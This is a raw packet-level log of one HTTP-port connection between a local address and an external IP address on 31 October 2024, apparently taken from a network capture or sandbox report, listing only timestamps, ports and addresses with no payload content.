Oct 31, 2024 02:09:14.574824095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574836969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574840069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.574866056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.574877977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.575005054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.575017929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.575031042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.575057030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.575067043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.598632097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.598687887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.598690033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.598706007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.598731041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.598736048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.598737001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.598745108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.598752022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.598871946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.601798058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.601809025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.601819992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.601851940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.601877928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.601888895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.601890087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.601902008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.601918936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.601933956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.601944923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602108955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602119923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602129936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602142096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602158070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602163076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602174044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602185011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602205992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602205992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602216005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602226019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602230072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602257013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602282047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602283955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602296114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602314949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602325916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602328062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602339029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602350950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602355957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602369070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602384090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602412939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602431059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602469921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602479935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602489948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602508068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602519035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602521896 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602540016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602549076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602552891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602564096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.602582932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.602607965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603106976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603157997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603161097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603171110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603182077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603195906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603207111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603213072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603239059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603249073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603414059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603450060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603460073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603466988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603494883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603503942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603522062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603533030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603569031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603625059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603636026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603646040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603676081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603686094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603743076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603754044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603765011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603775024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603790998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603817940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603821993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603859901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603877068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603888988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603924990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.603944063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603954077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603962898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603974104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.603991985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.604006052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.604167938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.604186058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.604196072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.604216099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.604242086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.604275942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.604296923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.604309082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.604322910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.604326010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.604346037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.604357958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.604377031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.604387045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.604420900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.639728069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.639786959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.639950037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.639961004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.639972925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.639983892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640006065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640012026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640043974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640044928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640058041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640069008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640079975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640091896 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640093088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640106916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640110970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640121937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640136003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640145063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640146017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640158892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640168905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640172005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640187979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640191078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640204906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640229940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640239000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640240908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640252113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.640273094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.640288115 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.654633045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654686928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.654859066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654870987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654881954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654894114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654906034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654912949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.654918909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654932022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654942036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654952049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654953957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.654963017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654966116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.654975891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.654994965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655010939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655066967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655078888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655088902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655098915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655116081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655117989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655128002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655133963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655138969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655139923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655193090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655242920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655261040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655272007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655284882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655293941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655297041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655308008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655333996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655354023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655384064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655395031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655405045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655416012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655447960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655479908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655479908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655560017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655616999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655643940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655658960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655672073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655682087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655694008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655694962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655699968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.655721903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.655754089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666249990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666270018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666280031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666310072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666330099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666341066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666352034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666378975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666388988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666399002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666449070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666461945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666498899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666498899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666498899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666498899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666498899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666526079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666537046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666538000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666548967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666559935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666583061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666595936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666727066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666738033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666748047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666759014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666770935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666778088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666781902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666793108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666810989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666810989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666830063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666841030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666841030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666851997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666879892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666944027 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.666971922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666985035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.666995049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667007923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667020082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667032003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667042017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667042017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667042971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667061090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667072058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667085886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667090893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667090893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667115927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667126894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667135954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667138100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667160988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667186975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667220116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667232990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667244911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667284012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667295933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667849064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667860031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667870045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667905092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667905092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667916059 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667917013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667928934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667943954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667949915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.667963028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.667982101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668009043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668014050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668020964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668032885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668045044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668056965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668062925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668090105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668101072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668111086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668122053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668139935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668154955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668256044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668267012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668277025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668288946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668301105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668313026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668313980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668324947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668339968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668355942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668356895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668368101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668380022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668384075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668401957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668406963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668418884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668421984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668428898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668450117 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668452024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668462992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668473959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668478012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668492079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668503046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668508053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668517113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668531895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668545008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668555021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668557882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668591022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668612003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668617010 CET	80	49982	154.216.17.34	192.168.2.5
